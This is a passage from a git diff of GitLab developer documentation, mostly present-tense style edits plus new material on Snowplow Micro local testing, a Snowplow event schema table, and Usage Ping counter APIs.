correct delegated subject, and will be sorted along with the regular rules in the policy. Note that only the relevant rules for a particular ability will actually be considered. +includes all rules from `ProjectPolicy`. The delegated conditions are evaluated with the correct delegated subject, and are sorted along with the regular rules in the policy. Note that only the relevant rules for a particular ability are actually considered. ### Overrides @@ -203,7 +213,7 @@ end But the food preferences one is harder - because of the `prevent` call in the parent policy, if the parent dislikes it, even calling `enable` in the child -will not enable `:eat_broccoli`. +does not enable `:eat_broccoli`. We could remove the `prevent` call in the parent policy, but that still doesn't help us, since the rules are different: parents get to eat what they like, and @@ -226,7 +236,7 @@ class ChildPolicy < BasePolicy end ``` -With this definition, the `ChildPolicy` will _never_ look in the `ParentPolicy` to +With this definition, the `ChildPolicy` _never_ looks in the `ParentPolicy` to satisfy `:eat_broccoli`, but it _will_ use it for any other abilities. The child policy can then define `:eat_broccoli` in a way that makes sense for `Child` and not `Parent`. @@ -243,7 +253,7 @@ Other approaches can include for example using different ability names. Choosing to eat a food and eating foods you are given are semantically distinct, and they could be named differently (perhaps `chooses_to_eat_broccoli` and `eats_what_is_given` in this case). It can depend on how polymorphic the call -site is. If you know that we will always check the policy with a `Parent` or a +site is. If you know that we always check the policy with a `Parent` or a `Child`, then we can choose the appropriate ability name. If the call site is polymorphic, then we cannot do that. @@ -260,4 +270,4 @@ class Foo end ``` -This will use & check permissions on the `SomeOtherPolicy` class rather than the usual calculated `FooPolicy` class. +This uses and checks permissions on the `SomeOtherPolicy` class rather than the usual calculated `FooPolicy` class. diff --git a/doc/development/polling.md b/doc/development/polling.md index b06507787b0..18f9fb954dd 100644 --- a/doc/development/polling.md +++ b/doc/development/polling.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Polling with ETag caching @@ -47,7 +47,7 @@ Cache Hit: resource. 1. If the `If-None-Match` header matches the current value in Redis we know that the resource did not change so we can send 304 response immediately, - without querying the database at all. The client's browser will use the + without querying the database at all. The client's browser uses the cached response. 1. If the `If-None-Match` header does not match the current value in Redis we have to generate a new response, because the resource changed. diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md index 66ea974063a..cabd2e3fb41 100644 --- a/doc/development/polymorphic_associations.md +++ b/doc/development/polymorphic_associations.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Polymorphic Associations @@ -16,7 +16,7 @@ target ID. For example, at the time of writing we have such a setup for - `source_type`: a string defining the model to use, can be either `Project` or `Namespace`. - `source_id`: the ID of the row to retrieve based on `source_type`. For - example, when `source_type` is `Project` then `source_id` will contain a + example, when `source_type` is `Project` then `source_id` contains a project ID. While such a setup may appear to be useful, it comes with many drawbacks; enough @@ -24,8 +24,8 @@ that you should avoid this at all costs. ## Space Wasted -Because this setup relies on string values to determine the model to use it will -end up wasting a lot of space. For example, for `Project` and `Namespace` the +Because this setup relies on string values to determine the model to use, it +wastes a lot of space. For example, for `Project` and `Namespace` the maximum size is 9 bytes, plus 1 extra byte for every string when using PostgreSQL. While this may only be 10 bytes per row, given enough tables and rows using such a setup we can end up wasting quite a bit of disk space and @@ -84,7 +84,7 @@ Let's say you have a `members` table storing both approved and pending members, for both projects and groups, and the pending state is determined by the column `requested_at` being set or not. Schema wise such a setup can lead to various columns only being set for certain rows, wasting space. It's also possible that -certain indexes will only be set for certain rows, again wasting space. Finally, +certain indexes are only set for certain rows, again wasting space. Finally, querying such a table requires less than ideal queries. For example: ```sql @@ -121,7 +121,7 @@ WHERE group_id = 4 ``` If you want to get both you can use a UNION, though you need to be explicit -about what columns you want to SELECT as otherwise the result set will use the +about what columns you want to SELECT as otherwise the result set uses the columns of the first query. For example: ```sql @@ -147,6 +147,6 @@ filter rows using the `IS NULL` condition. To summarize: using separate tables allows us to use foreign keys effectively, create indexes only where necessary, conserve space, query data more efficiently, and scale these tables more easily (e.g. by storing them on -separate disks). A nice side effect of this is that code can also become easier -as you won't end up with a single model having to handle different kinds of +separate disks). A nice side effect of this is that code can also become easier, +as a single model isn't responsible for handling different kinds of data. diff --git a/doc/development/post_deployment_migrations.md b/doc/development/post_deployment_migrations.md index 2550f9547df..6ab3620c197 100644 --- a/doc/development/post_deployment_migrations.md +++ b/doc/development/post_deployment_migrations.md @@ -1,14 +1,14 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Post Deployment Migrations Post deployment migrations are regular Rails migrations that can optionally be executed after a deployment. By default these migrations are executed alongside -the other migrations. To skip these migrations you will have to set the +the other migrations. To skip these migrations you must set the environment variable `SKIP_POST_DEPLOYMENT_MIGRATIONS` to a non-empty value when running `rake db:migrate`. @@ -19,7 +19,7 @@ migrations: bundle exec rake db:migrate ``` -This however will skip post deployment migrations: +This however skips post deployment migrations: ```shell SKIP_POST_DEPLOYMENT_MIGRATIONS=true bundle exec rake db:migrate @@ -40,7 +40,7 @@ Once all servers have been updated you can run `chef-client` again on a single server _without_ the environment variable. The process is similar for other deployment techniques: first you would deploy -with the environment variable set, then you'll essentially re-deploy a single +with the environment variable set, then you re-deploy a single server but with the variable _unset_. ## Creating Migrations @@ -51,7 +51,7 @@ To create a post deployment migration you can use the following Rails generator: bundle exec rails g post_deployment_migration migration_name_here ``` -This will generate the migration file in `db/post_migrate`. These migrations +This generates the migration file in `db/post_migrate`. These migrations behave exactly like regular Rails migrations. ## Use Cases diff --git a/doc/development/product_analytics/event_dictionary.md b/doc/development/product_analytics/event_dictionary.md index 88cb75fdb83..9c363f08cb4 100644 --- a/doc/development/product_analytics/event_dictionary.md +++ b/doc/development/product_analytics/event_dictionary.md @@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-analytics-guide/ --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-analytics-guide/). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md index 88cb75fdb83..9c363f08cb4 100644 --- a/doc/development/product_analytics/index.md +++ b/doc/development/product_analytics/index.md @@ -3,3 +3,6 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-analytics-guide/ --- This document was moved to [another location](https://about.gitlab.com/handbook/product/product-analytics-guide/). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/snowplow.md b/doc/development/product_analytics/snowplow.md index c5f48994d5c..48b816f0b83 100644 --- a/doc/development/product_analytics/snowplow.md +++ b/doc/development/product_analytics/snowplow.md @@ -1,7 +1,7 @@ --- stage: Growth group: Product Analytics -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Snowplow Guide @@ -71,8 +71,8 @@ The following example shows a basic request/response flow between the following - Snowplow JS / Ruby Trackers on GitLab.com - [GitLab.com Snowplow Collector](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/snowplow/index.md) -- GitLab's S3 Bucket -- GitLab's Snowflake Data Warehouse +- The GitLab S3 Bucket +- The GitLab Snowflake Data Warehouse - Sisense: ```mermaid @@ -98,7 +98,7 @@ sequenceDiagram ## Structured event taxonomy -When adding new click events, we should add them in a way that's internally consistent. If we don't, it'll be very painful to perform analysis across features since each feature will be capturing events differently. +When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently. The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture: @@ -110,6 +110,10 @@ The current method provides several attributes that are sent on each click event | property | text | false | Any additional property of the element, or object being acted on. | | value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). | +### Web-specific parameters + +Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default. + ## Implementing Snowplow JS (Frontend) tracking GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to use tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy). @@ -150,6 +154,17 @@ Below is a list of supported `data-track-*` attributes: | `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. | | `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | +#### Caveats + +When using the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/898b286de322e5df6a38d257b10c94974d580df8/app/helpers/tab_helper.rb#L69) be sure to wrap `html_options` under the `html_options` keyword argument. +Be careful, as this behavior can be confused with the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) that does not require additional wrapping of `html_options` + +`nav_link(controller: ['dashboard/groups', 'explore/groups'], html_options: { data: { track_label: "groups_dropdown", track_event: "click_dropdown" } })` + +vs + +`link_to assigned_issues_dashboard_path, title: _('Issues'), data: { track_label: 'main_navigation', track_event: 'click_issues_link' }` + ### Tracking within Vue components There's a tracking Vue mixin that can be used in components if more complex tracking is required. To use it, first import the `Tracking` library and request a mixin. @@ -366,48 +381,79 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event - Look at the [Snowplow Micro repository](https://github.com/snowplow-incubator/snowplow-micro) - Watch our [installation guide recording](https://www.youtube.com/watch?v=OX46fo_A0Ag) -1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro): - - ```shell - docker run --mount type=bind,source=$(pwd)/example,destination=/config -p 9090:9090 snowplow/snowplow-micro:latest --collector-config /config/micro.conf --iglu /config/iglu.json - ``` +1. Ensure Docker is installed and running. -1. Install Snowplow Micro by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration): +1. Install [Snowplow Micro](https://github.com/snowplow-incubator/snowplow-micro) by cloning the settings in [this project](https://gitlab.com/gitlab-org/snowplow-micro-configuration): +1. Navigate to the directory with the cloned project, and start the appropriate Docker + container with the following script: ```shell - git clone git@gitlab.com:gitlab-org/snowplow-micro-configuration.git ./snowplow-micro.sh ``` -1. Update port in SQL to set `9090`: +1. Update your instance's settings to enable Snowplow events and point to the Snowplow Micro collector: ```shell gdk psql -d gitlabhq_development update application_settings set snowplow_collector_hostname='localhost:9090', snowplow_enabled=true, snowplow_cookie_domain='.gitlab.com'; ``` -1. Update `app/assets/javascripts/tracking.js` to [remove this line](https://gitlab.com/snippets/1918635): +1. Update `DEFAULT_SNOWPLOW_OPTIONS` in `app/assets/javascripts/tracking.js` to remove `forceSecureTracker: true`: + + ```diff + diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js + index 0a1211d0a76..3b98c8f28f2 100644 + --- a/app/assets/javascripts/tracking.js + +++ b/app/assets/javascripts/tracking.js + @@ -7,7 +7,6 @@ const DEFAULT_SNOWPLOW_OPTIONS = { + appId: '', + userFingerprint: false, + respectDoNotTrack: true, + - forceSecureTracker: true, + eventMethod: 'post', + contexts: { webPage: true, performanceTiming: true }, + formTracking: false, - ```javascript - forceSecureTracker: true ``` -1. Update `lib/gitlab/tracking.rb` to [add these lines](https://gitlab.com/snippets/1918635): - - ```ruby - protocol: 'http', - port: 9090, +1. Update `snowplow_options` in `lib/gitlab/tracking.rb` to add `protocol` and `port`: + + ```diff + diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb + index 618e359211b..e9084623c43 100644 + --- a/lib/gitlab/tracking.rb + +++ b/lib/gitlab/tracking.rb + @@ -41,7 +41,9 @@ def snowplow_options(group) + cookie_domain: Gitlab::CurrentSettings.snowplow_cookie_domain, + app_id: Gitlab::CurrentSettings.snowplow_app_id, + form_tracking: additional_features, + - link_click_tracking: additional_features + + link_click_tracking: additional_features, + + protocol: 'http', + + port: 9090 + }.transform_keys! { |key| key.to_s.camelize(:lower).to_sym } + end ``` -1. Update `lib/gitlab/tracking.rb` to [change async emitter from https to http](https://gitlab.com/snippets/1918635): +1. Update `emitter` in `lib/gitlab/tracking/destinations/snowplow.rb` to change `protocol`: + + ```diff + diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb + index 4fa844de325..5dd9d0eacfb 100644 + --- a/lib/gitlab/tracking/destinations/snowplow.rb + +++ b/lib/gitlab/tracking/destinations/snowplow.rb + @@ -40,7 +40,7 @@ def tracker + def emitter + SnowplowTracker::AsyncEmitter.new( + Gitlab::CurrentSettings.snowplow_collector_hostname, + - protocol: 'https' + + protocol: 'http' + ) + end + end - ```ruby - SnowplowTracker::AsyncEmitter.new(Gitlab::CurrentSettings.snowplow_collector_hostname, protocol: 'http'), ``` -1. Enable Snowplow in the admin area, Settings::Integrations::Snowplow to point to: - `http://localhost:3000/admin/application_settings/integrations#js-snowplow-settings`. - 1. Restart GDK: ```shell @@ -417,9 +463,11 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event 1. Send a test Snowplow event from the Rails console: ```ruby - Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', { page_type: 'MY_TYPE' }, context: nil ) + Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', data: { page_type: 'MY_TYPE' }, context: nil) ``` +1. Navigate to `localhost:9090/micro/good` to see the event. + ### Snowplow Mini [Snowplow Mini](https://github.com/snowplow/snowplow-mini) is an easily-deployable, single-instance version of Snowplow. @@ -427,3 +475,142 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event Snowplow Mini can be used for testing frontend and backend events on a production, staging and local development environment. For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini. + +## Snowplow Schemas + +### Default Schema + +| Field Name | Required | Type | Description | +|--------------------------|---------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------| +| app_id | **{check-circle}** | string | Unique identifier for website / application | +| base_currency | **{dotted-circle}** | string | Reporting currency | +| br_colordepth | **{dotted-circle}** | integer | Browser color depth | +| br_cookies | **{dotted-circle}** | boolean | Does the browser permit cookies? | +| br_family | **{dotted-circle}** | string | Browser family | +| br_features_director | **{dotted-circle}** | boolean | Director plugin installed? | +| br_features_flash | **{dotted-circle}** | boolean | Flash plugin installed? | +| br_features_gears | **{dotted-circle}** | boolean | Google gears installed? | +| br_features_java | **{dotted-circle}** | boolean | Java plugin installed? | +| br_features_pdf | **{dotted-circle}** | boolean | Adobe PDF plugin installed? | +| br_features_quicktime | **{dotted-circle}** | boolean | Quicktime plugin installed? | +| br_features_realplayer | **{dotted-circle}** | boolean | Realplayer plugin installed? | +| br_features_silverlight | **{dotted-circle}** | boolean | Silverlight plugin installed? | +| br_features_windowsmedia | **{dotted-circle}** | boolean | Windows media plugin installed? | +| br_lang | **{dotted-circle}** | string | Language the browser is set to | +| br_name | **{dotted-circle}** | string | Browser name | +| br_renderengine | **{dotted-circle}** | string | Browser rendering engine | +| br_type | **{dotted-circle}** | string | Browser type | +| br_version | **{dotted-circle}** | string | Browser version | +| br_viewheight | **{dotted-circle}** | string | Browser viewport height | +| br_viewwidth | **{dotted-circle}** | string | Browser viewport width | +| collector_tstamp | **{dotted-circle}** | timestamp | Time stamp for the event recorded by the collector | +| contexts | **{dotted-circle}** | | | +| derived_contexts | **{dotted-circle}** | | Contexts derived in the Enrich process | +| derived_tstamp | **{dotted-circle}** | timestamp | Timestamp making allowance for innaccurate device clock | +| doc_charset | **{dotted-circle}** | string | Web page’s character encoding | +| doc_height | **{dotted-circle}** | string | Web page height | +| doc_width | **{dotted-circle}** | string | Web page width | +| domain_sessionid | **{dotted-circle}** | string | Unique identifier (UUID) for this visit of this user_id to this domain | +| domain_sessionidx | **{dotted-circle}** | integer | Index of number of visits that this user_id has made to this domain (The first visit is `1`) | +| domain_userid | **{dotted-circle}** | string | Unique identifier for a user, based on a first party cookie (so domain specific) | +| dvce_created_tstamp | **{dotted-circle}** | timestamp | Timestamp when event occurred, as recorded by client device | +| dvce_ismobile | **{dotted-circle}** | boolean | Indicates whether device is mobile | +| dvce_screenheight | **{dotted-circle}** | string | Screen / monitor resolution | +| dvce_screenwidth | **{dotted-circle}** | string | Screen / monitor resolution | +| dvce_sent_tstamp | **{dotted-circle}** | timestamp | Timestamp when event was sent by client device to collector | +| dvce_type | **{dotted-circle}** | string | Type of device | +| etl_tags | **{dotted-circle}** | string | JSON of tags for this ETL run | +| etl_tstamp | **{dotted-circle}** | timestamp | Timestamp event began ETL | +| event | **{dotted-circle}** | string | Event type | +| event_fingerprint | **{dotted-circle}** | string | Hash client-set event fields | +| event_format | **{dotted-circle}** | string | Format for event | +| event_id | **{dotted-circle}** | string | Event UUID | +| event_name | **{dotted-circle}** | string | Event name | +| event_vendor | **{dotted-circle}** | string | The company who developed the event model | +| event_version | **{dotted-circle}** | string | Version of event schema | +| geo_city | **{dotted-circle}** | string | City of IP origin | +| geo_country | **{dotted-circle}** | string | Country of IP origin | +| geo_latitude | **{dotted-circle}** | string | An approximate latitude | +| geo_longitude | **{dotted-circle}** | string | An approximate longitude | +| geo_region | **{dotted-circle}** | string | Region of IP origin | +| geo_region_name | **{dotted-circle}** | string | Region of IP origin | +| geo_timezone | **{dotted-circle}** | string | Timezone of IP origin | +| geo_zipcode | **{dotted-circle}** | string | Zip (postal) code of IP origin | +| ip_domain | **{dotted-circle}** | string | Second level domain name associated with the visitor’s IP address | +| ip_isp | **{dotted-circle}** | string | Visitor’s ISP | +| ip_netspeed | **{dotted-circle}** | string | Visitor’s connection type | +| ip_organization | **{dotted-circle}** | string | Organization associated with the visitor’s IP address – defaults to ISP name if none is found | +| mkt_campaign | **{dotted-circle}** | string | The campaign ID | +| mkt_clickid | **{dotted-circle}** | string | The click ID | +| mkt_content | **{dotted-circle}** | string | The content or ID of the ad. | +| mkt_medium | **{dotted-circle}** | string | Type of traffic source | +| mkt_network | **{dotted-circle}** | string | The ad network to which the click ID belongs | +| mkt_source | **{dotted-circle}** | string | The company / website where the traffic came from | +| mkt_term | **{dotted-circle}** | string | Keywords associated with the referrer | +| name_tracker | **{dotted-circle}** | string | The tracker namespace | +| network_userid | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn’t be set by a tracker) | +| os_family | **{dotted-circle}** | string | Operating system family | +| os_manufacturer | **{dotted-circle}** | string | Manufacturers of operating system | +| os_name | **{dotted-circle}** | string | Name of operating system | +| os_timezone | **{dotted-circle}** | string | Client operating system timezone | +| page_referrer | **{dotted-circle}** | string | Referrer URL | +| page_title | **{dotted-circle}** | string | Page title | +| page_url | **{dotted-circle}** | string | Page URL | +| page_urlfragment | **{dotted-circle}** | string | Fragment aka anchor | +| page_urlhost | **{dotted-circle}** | string | Host aka domain | +| page_urlpath | **{dotted-circle}** | string | Path to page | +| page_urlport | **{dotted-circle}** | integer | Port if specified, 80 if not | +| page_urlquery | **{dotted-circle}** | string | Query string | +| page_urlscheme | **{dotted-circle}** | string | Scheme (protocol name) | +| platform | **{dotted-circle}** | string | The platform the app runs on | +| pp_xoffset_max | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period | +| pp_xoffset_min | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period | +| pp_yoffset_max | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period | +| pp_yoffset_min | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period | +| refr_domain_userid | **{dotted-circle}** | string | The Snowplow domain_userid of the referring website | +| refr_dvce_tstamp | **{dotted-circle}** | timestamp | The time of attaching the domain_userid to the inbound link | +| refr_medium | **{dotted-circle}** | string | Type of referer | +| refr_source | **{dotted-circle}** | string | Name of referer if recognised | +| refr_term | **{dotted-circle}** | string | Keywords if source is a search engine | +| refr_urlfragment | **{dotted-circle}** | string | Referer URL fragment | +| refr_urlhost | **{dotted-circle}** | string | Referer host | +| refr_urlpath | **{dotted-circle}** | string | Referer page path | +| refr_urlport | **{dotted-circle}** | integer | Referer port | +| refr_urlquery | **{dotted-circle}** | string | Referer URL querystring | +| refr_urlscheme | **{dotted-circle}** | string | Referer scheme | +| se_action | **{dotted-circle}** | string | The action / event itself | +| se_category | **{dotted-circle}** | string | The category of event | +| se_label | **{dotted-circle}** | string | A label often used to refer to the ‘object’ the action is performed on | +| se_property | **{dotted-circle}** | string | A property associated with either the action or the object | +| se_value | **{dotted-circle}** | decimal | A value associated with the user action | +| ti_category | **{dotted-circle}** | string | Item category | +| ti_currency | **{dotted-circle}** | string | Currency | +| ti_name | **{dotted-circle}** | string | Item name | +| ti_orderid | **{dotted-circle}** | string | Order ID | +| ti_price | **{dotted-circle}** | decimal | Item price | +| ti_price_base | **{dotted-circle}** | decimal | Item price in base currency | +| ti_quantity | **{dotted-circle}** | integer | Item quantity | +| ti_sku | **{dotted-circle}** | string | Item SKU | +| tr_affiliation | **{dotted-circle}** | string | Transaction affiliation (such as channel) | +| tr_city | **{dotted-circle}** | string | Delivery address: city | +| tr_country | **{dotted-circle}** | string | Delivery address: country | +| tr_currency | **{dotted-circle}** | string | Transaction Currency | +| tr_orderid | **{dotted-circle}** | string | Order ID | +| tr_shipping | **{dotted-circle}** | decimal | Delivery cost charged | +| tr_shipping_base | **{dotted-circle}** | decimal | Shipping cost in base currency | +| tr_state | **{dotted-circle}** | string | Delivery address: state | +| tr_tax | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) | +| tr_tax_base | **{dotted-circle}** | decimal | Tax applied in base currency | +| tr_total | **{dotted-circle}** | decimal | Transaction total value | +| tr_total_base | **{dotted-circle}** | decimal | Total amount of transaction in base currency | +| true_tstamp | **{dotted-circle}** | timestamp | User-set exact timestamp | +| txn_id | **{dotted-circle}** | string | Transaction ID | +| unstruct_event | **{dotted-circle}** | JSON | The properties of the event | +| uploaded_at | **{dotted-circle}** | | | +| user_fingerprint | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features | +| user_id | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId | +| user_ipaddress | **{dotted-circle}** | string | IP address | +| useragent | **{dotted-circle}** | string | User agent (expressed as a browser string) | +| v_collector | **{dotted-circle}** | string | Collector version | +| v_etl | **{dotted-circle}** | string | ETL version | +| v_tracker | **{dotted-circle}** | string | Identifier for Snowplow tracker | diff --git a/doc/development/product_analytics/usage_ping.md b/doc/development/product_analytics/usage_ping.md index fa785d934cb..37363bbabbc 100644 --- a/doc/development/product_analytics/usage_ping.md +++ b/doc/development/product_analytics/usage_ping.md @@ -1,7 +1,7 @@ --- stage: Growth group: Product Analytics -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Usage Ping Guide @@ -31,15 +31,15 @@ More useful links: - The usage data is primarily composed of row counts for different tables in the instance’s database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features within the product. In addition to counts, other facts that help us classify and understand GitLab installations are collected. - Usage ping is important to GitLab as we use it to calculate our Stage Monthly Active Users (SMAU) which helps us measure the success of our stages and features. -- While usage ping is enabled, GitLab will gather data from the other instances and will be able to show usage statistics of your instance to your users. +- While usage ping is enabled, GitLab gathers data from the other instances and can show usage statistics of your instance to your users. ### Why should we enable Usage Ping? - The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions. - As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation. - As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring. -- You will get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value) -- You will get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization? +- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value) +- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization? - You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes. - Usage Ping is enabled by default. To disable it, see [Disable Usage Ping](#disable-usage-ping). @@ -80,7 +80,7 @@ production: &base ## Usage Ping request flow -The following example shows a basic request/response flow between a GitLab instance, the Versions Application, the License Application, Salesforce, GitLab's S3 Bucket, GitLab's Snowflake Data Warehouse, and Sisense: +The following example shows a basic request/response flow between a GitLab instance, the Versions Application, the License Application, Salesforce, the GitLab S3 Bucket, the GitLab Snowflake Data Warehouse, and Sisense: ```mermaid sequenceDiagram @@ -117,7 +117,10 @@ sequenceDiagram 1. When the cron job runs, it calls [`GitLab::UsageData.to_json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L22). 1. `GitLab::UsageData.to_json` [cascades down](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L22) to ~400+ other counter method calls. 1. The response of all methods calls are [merged together](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L14) into a single JSON payload in `GitLab::UsageData.to_json`. -1. The JSON payload is then [posted to the Versions application]( https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L20). +1. The JSON payload is then [posted to the Versions application]( https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L20) + If a firewall exception is needed, the required URL depends on several things. If + the hostname is `version.gitlab.com`, the protocol is `TCP`, and the port number is `443`, + the required URL is <https://version.gitlab.com/>. ## Implementing Usage Ping @@ -134,7 +137,7 @@ There are several types of counters which are all found in `usage_data.rb`: - **Alternative Counters:** Used for settings and configurations - **Redis Counters:** Used for in-memory counts. -NOTE: **Note:** +NOTE: Only use the provided counter methods. Each counter method contains a built in fail safe to isolate each counter to avoid breaking the entire Usage Ping. ### Why batch counting @@ -189,7 +192,7 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the count - `column` the column to perform the distinct count, by default is the primary key - `batch`: default `true` in order to use batch counting -- `batch_size`: if none set it will use default value 10000 from `Gitlab::Database::BatchCounter` +- `batch_size`: if none set it uses default value 10000 from `Gitlab::Database::BatchCounter` - `start`: custom start of the batch counting in order to avoid complex min calculations - `end`: custom end of the batch counting in order to avoid complex min calculations @@ -213,7 +216,7 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the operation - `column` the column to sum on -- `batch_size`: if none set it will use default value 1000 from `Gitlab::Database::BatchCounter` +- `batch_size`: if none set it uses default value 1000 from `Gitlab::Database::BatchCounter` - `start`: custom start of the batch counting in order to avoid complex min calculations - `end`: custom end of the batch counting in order to avoid complex min calculations @@ -262,6 +265,45 @@ Examples of implementation: - Using Redis methods [`INCR`](https://redis.io/commands/incr), [`GET`](https://redis.io/commands/get), and [`Gitlab::UsageDataCounters::WikiPageCounter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/wiki_page_counter.rb) - Using Redis methods [`HINCRBY`](https://redis.io/commands/hincrby), [`HGETALL`](https://redis.io/commands/hgetall), and [`Gitlab::UsageCounters::PodLogs`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_counters/pod_logs.rb) +##### UsageData API Tracking + +<!-- There's nearly identical content in `##### Adding new events`. If you fix errors here, you may need to fix the same errors in the other location. --> + +1. Track event using `UsageData` API + + Increment event count using ordinary Redis counter, for given event name. + + Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is enabled by default. + + API requests are protected by checking for a valid CSRF token. + + In order to be able to increment the values the related feature `usage_data_<event_name>` should be enabled. + + ```plaintext + POST /usage_data/increment_counter + ``` + + | Attribute | Type | Required | Description | + | :-------- | :--- | :------- | :---------- | + | `event` | string | yes | The event name it should be tracked | + + Response + + - `200` if event was tracked + - `400 Bad request` if event parameter is missing + - `401 Unauthorized` if user is not authenticated + - `403 Forbidden` for invalid CSRF token provided + +1. Track events using JavaScript/Vue API helper which calls the API above + + Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled in order to be able to track events + + ```javascript + import api from '~/api'; + + api.trackRedisCounterEvent('my_already_defined_event_name'), + ``` + #### Redis HLL Counters With `Gitlab::UsageDataCounters::HLLRedisCounter` we have available data structures used to count unique values. @@ -304,14 +346,13 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF access to a group of events. - `redis_slot`: optional Redis slot; default value: event name. Used if needed to calculate 